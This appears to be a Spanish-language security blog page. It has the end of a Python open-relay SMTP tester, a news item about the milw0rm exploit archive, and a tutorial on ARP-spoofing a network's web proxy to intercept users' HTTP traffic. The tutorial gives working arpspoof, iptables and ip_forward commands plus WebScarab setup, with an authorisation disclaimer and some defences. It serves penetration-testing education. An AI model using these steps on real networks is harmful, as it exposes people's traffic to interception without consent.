parser.add_option("-r", "--receiver",
metavar="RCPT", dest="receiver", help="receiver address (e.g. other@example.com)")


(options, args) = parser.parse_args()

if((not options.server) and (not options.filename)):
parser.print_help()
exit(-1)

tester = smtptester()
if(options.sender and options.receiver):
if(options.server):
tester.test_server(options.server, options.sender, options.receiver, options.port)
elif(options.filename):
tester.test_servers(options.filename, options.sender, options.receiver)
else:
parser.print_help()
else:
parser.print_help()


Un ejemplo del uso del programa es:
# ./smtp-tester.py -a 192.168.1.25 -s test@test.com -r open@empresa.com
--------------------------------
testing server 192.168.1.25
testing from: test@test.com to: open@empresa.com... [OK]
testing from: test@192.168.1.25 to: open@empresa.com... [OK]
testing from: demasiadovivo@anything.com to: open@empresa.com... [OK]
testing from: test@test.com to: test@192.168.1.25... [FAIL]
testing from: test@192.168.1.25 to: test@192.168.1.25... [FAIL]
testing from: demasiadovivo@anything.com to: test@192.168.1.25... [FAIL]
testing from: test@test.com to: "open@empresa.com"@192.168.1.25... [FAIL]
testing from: test@192.168.1.25 to: "open@empresa.com"@192.168.1.25... [FAIL]
testing from: demasiadovivo@anything.com to: "open@empresa.com"@192.168.1.25... [FAIL]
testing from: test@test.com to: @192.168.1.25:open@empresa.com... [FAIL]
testing from: test@192.168.1.25 to: @192.168.1.25:open@empresa.com... [FAIL]
testing from: demasiadovivo@anything.com to: @192.168.1.25:open@empresa.com... [FAIL]

donde se testea la posibilidad de enviar e-mails a open@empresa.com desde la cuenta test@test.com. Vale aclarar que los e-mails son realmente enviados en la prueba, osea, traten de poner como destinatario una cuenta que ustedes posean.

El programa dista de ser optimo, dado que algunas combinaciones de e-mails no son necesarias una vez que una de las pruebas anteriores falló... es algo a corregir en alguna próxima versión.
Espero que les sea de utilidad.
news: renace milw0rm! ahora tenemos Offsec Exploit Archive

Hace unos días leí que la gente de Offensive Security estaba en tratativas con milw0rm para poner on-line la base de datos de exploits bajo su dominio y mantenerla actualizada. Ayer me entero que esta base de datos ya está on-line y su flamante nombre es Offsec Exploit Archive.
Esta nueva base de datos cuenta con los exploits de milw0rm así como también con algunos nuevos y ya están aceptando contribuciones.

Para el que no haya conocido milw0rm, ésta solía ser la primer fuente de exploits para investigadores y entusiastas, donde la gente que descubría un exploit lo compartía con el resto, probando que una vulnerabilidad podía ser explotada.
Con el tiempo, el administrador del sitio str0ke decidió que no podía seguir revisando los exploits que suministraban terceros y decidió cerrar el site. A pesar de esto, el site volvió a estar on-line un tiempo y se agregaron nuevos exploits, pero desde hace unas semanas esto se detuvo.

Por suerte, la gente de Offensive Security, encargados entre otras cosas de la genial distribución BackTrack, decidió tomar la posta y encargarse de la labor que llevaba a cabo str0ke, brindándonos un nuevo site, muy similar a milw0rm, donde la gente pueda compartir exploits.
El nuevo site lo pueden visitar ingresando en http://exploits.offensive-security.com/ o en http://explo.it
Suplantación de Proxy en redes switcheadas
Para el artículo del día de la fecha les traigo un más que interesante tutorial sobre sniffeo de red capturando todo el tráfico del proxy de la red local.

ACLARACION: el artículo está dirigido a aquellos que quieran aprender redes y penetration test, gente dedicada a la seguridad que utiliza el hacking ético para descubrir problemas a solucionar y reportarlos. Para hacer este tipo de ataque deben contar con la aprobación del encargado de la red o quien corresponda.


Mini Background

Por si alguno todavía no conoce de estas cosas, vale aclarar que sniffear es husmear los paquetes que pasan por la red, lo cual, dependiendo el tipo de red, nos permite ver cosas que no nos pertenecen. En las redes armadas con hubs (o viajas redes de cable coaxial) es posible ver todo el tráfico de todas las máquinas sin necesidad de herramientas especiales, simplemente necesitamos un sniffer y una placa que se pueda poner en modo promiscuo. El modo promiscuo indica que la placa de red atiende todos los paquetes como si fueran dirigidos a ella, incluso aquellos que tengan diferente MAC (dirección ethernet).

En el mundo de las redes switcheadas (redes donde todas las máquinas están conectadas a switchs) esto no es posible, a menos que realicemos algún tipo de ataque, o bien que los switchs sean de mala calidad (o esten saturados) y nos envíen tráfico que no deberían enviarnos =/ Esto se debe a que los switchs asocian cada port con la/s MAC/s que se encuentran enchufadas en el, así que si alguien envía un paquete al switch, éste lo entregará solo en la boca donde se encuenre la MAC, en lugar de entregarlo en todas las bocas como lo haría un hub.

El protocolo ARP (Address Resolution Protocol) se encarga de averiguar cuál es la MAC (dirección de red) que se encuentra asociada a una determinada IP. El mecanismo que usa es simple, envía un mensaje en la red preguntando quién es la máquina con una dada IP, cuando recibe una respuesta (ARP Reply), ya sabe a qué máquina debe enviarle los paquetes dirigidos a esa IP.

Un proxy es un servidor que acepta peticiones (por ejemplo http) y las reenvía al servidor externo que corresponda (por ejemplo google.com). Los proxies permiten controlar el tráfico que sale a internet, y además optimizar los pedidos. Si un usuario hace un pedido que ya hizo otro usuario, responde el proxy utilizando las entradas guardadas en su cache, y de esta forma se ahorra la necesidad de salir a internet a buscarlo. El tipo de proxy más conocido es el proxy web, que intercepta toda la navegación web, ya sea http o https.


Attacking!

El ataque que voy a explicar está dirigido a las redes switcheadas, donde todas las máquinas están conectadas a ports de algún switch. Dado que la mayoría de las redes medianas a grandes usan proxies para el tráfico http, todo el tráfico web pasa por estos servidores, por lo que si logramos engañar a las máquinas diciendo que nuestra máquina es el proxy, entonces tendremos el mundo a nuestros pies =P
Más precisamente, si hacemos que todos piensen que nuestra máquina es el proxy, podremos ver todo el tráfico web. Claro que el tráfico web encriptado (https) solo lo veremos pasar sin poder descifrar, pero el tráfico que no esté cifrado estará visible para nosotros.
A través de algunos ataques al protocolo ssl (como el reportado hace unos días) podríamos hacer alguna maldad con https, pero eso quedará para otro artículo =)


Tools

Antes de seguir, les paso la recopilación de herramientas que voy a utilizar, cosa que no lleguen a la mitad del artículo y digan, uhh me falta esto, me falta lo otro...
La lista es la siguiente:
- Linux o algún otro *nix - necesitamos de un sistema operativo que nos facilite la vida =D
- arpspoof - envía paquetes ARP indicando que nuestra IP (IP del atacante) está asociada a la MAC de la máquina que queremos suplantar (en el ejemplo del artículo, el proxy).
- iptables - la gloriosa herramienta del kernel de linux para decidir que hacer con los paquetes que llegan a nuestra máquina. En el caso de este tutorial, la usaremos para redirigir pedidos.
- WebScarab - proxy provisto por OWASP que nos permite observar los pedidos de los usuarios y redirigirlos al destino real.

Todas estas herramientas ya están incluidas en la distribución Back|Track.


Action!

Ahora sí, llega la parte buena!
Si bien con toda la introducción esto puede parecer trabajo realizable solamente por un hacker experimentado, la realidad es que con las herramientas que poseemos, lo puede hacer cualquier novato (por no decir cualquier idiota) que lea y entienda un poco.

Para el ejemplo, tendremos en cuenta que:
- el proxy tiene la dirección IP 192.168.1.1
- la MAC del proxy es 11:11:11:11:11:11
- el proxy escucha pedidos en el port 8080
- la IP del atacante es 192.168.1.128
- la MAC del atacante es 22:22:22:22:22:22
- la IP de la víctima es 192.168.1.120
- la MAC de la víctima no es relevante en este caso

El trabajo que realizaremos será:
- hacer que la víctima con IP 192.168.1.120 crea que la IP del proxy está asociada a la MAC 22:22:22:22:22:22, en lugar de la MAC real (11:11:11:11:11:11). Es decir, todo el tráfico que la víctima quiera enviar a la IP 192.168.1.1 (proxy) irá al atacante. Ver imágenes.










- redirigir internamente el tráfico que llega a la máquina del atacante con IP del proxy a la IP del atacante.
- montar un proxy que intercepte todos los pedidos de la víctima y los rediriga al proxy real. Redirigiendo los pedidos logramos transparencia para el usuario, dado que sus pedidos serán contestados correctamente.

Teniendo la idea de lo que vamos a hacer, ahora les explico cómo lo haremos:
- redirigimos los paquetes enviados al proxy original hacia el proxy que montaremos en el port 8008:
# iptables -t nat -A PREROUTING -p tcp --dport 8080 -j REDIRECT --to-port 8008

- habilitamos el forwarding para que el resto de las conexiones del cliente sean entregadas en donde corresponde:
# echo 1 > /proc/sys/net/ipv4/ip_forward
# iptables -A FORWARD -j ACCEPT

- para que el usuario crea que la MAC asociada a la IP del proxy es la nuestra, usamos arpspoof de la siguiente manera:
# arpspoof -t 192.168.1.120 192.168.1.1
con -t indicamos que la víctima del ataque ARP es la IP 192.168.1.120, si no especificamos este parámetro, todas las máquinas de la red pueden ser víctima. A continuación especificamos la IP que queremos spoofear, osea, la del proxy.

- ahora sí, montamos nuestro proxy con WebScarab para interceptar y reenviar las conexiones web. Decidí utilizar WebScarab porque es muy flexible y permite ver de forma detallada los pedidos, ademas de poder hacer muchas otras cosas.
Dado que WebScarab está escrito en java y está empaquetado en un jar, lo ejecutamos con:
# java -jar webscarab.jar
otro programa que se puede utilizar para le propósito es webmitm, aunque en este no pude configurar la redirección al proxy original.
Si es la primera vez que arrancamos WebScarab, nos encontraremos con muy pocas opciones y parecerá un programa un tanto pobre. Para habilitar todas las opciones, debemos ir Tools y tildar "Use full-featured interface". Cerramos el programa, y al abrirlo de nuevo, tendremos todas las opciones.
Primero configuramos WebScarab para que escuche pedidos web en nuestra IP con port destino 8008 (por defecto solo escucha pedidos de localhost:8008). Para esto vamos a la solapa Proxy, y dentro de esta solapa, vamos a la solapa Listeners. Ahí nuestra IP, el port que deseamos (para el ejemplo sería 192.168.1.128 port 8008) y le damos Start.
Una vez configurado el Listener, procedemos a configurar el proxy real al que le redirigimos los pedidos. Vamos a la opción Tools -> Proxies y ahí colocamos la IP y el port del Proxy real (en el ejemplo 192.168.1.1 port 8080).
Con el programa ya configurado, vamos a la solapa Sumary y veremos pasar toooodos los pedidos del usuario.



Moraleja

Esto nos muestra lo simple que es suplantar un proxy (o cualquier otra máquina) en una red armada incluso con switchs y sniffear el tráfico o incluso modificarlo!
Una de las formas de prevenir este tipo de ataques es utilizar switchs de capa 3, que entiendan de IPs, donde se les pueda fijar el port donde se encuentra enchufada la IP del proxy, o incluso fijar el mapeo IP -> MAC.
Otra forma de evitar esto, es utilizar IPSec, aunque sea con los servidores importantes como el proxy, servers de mail, etc.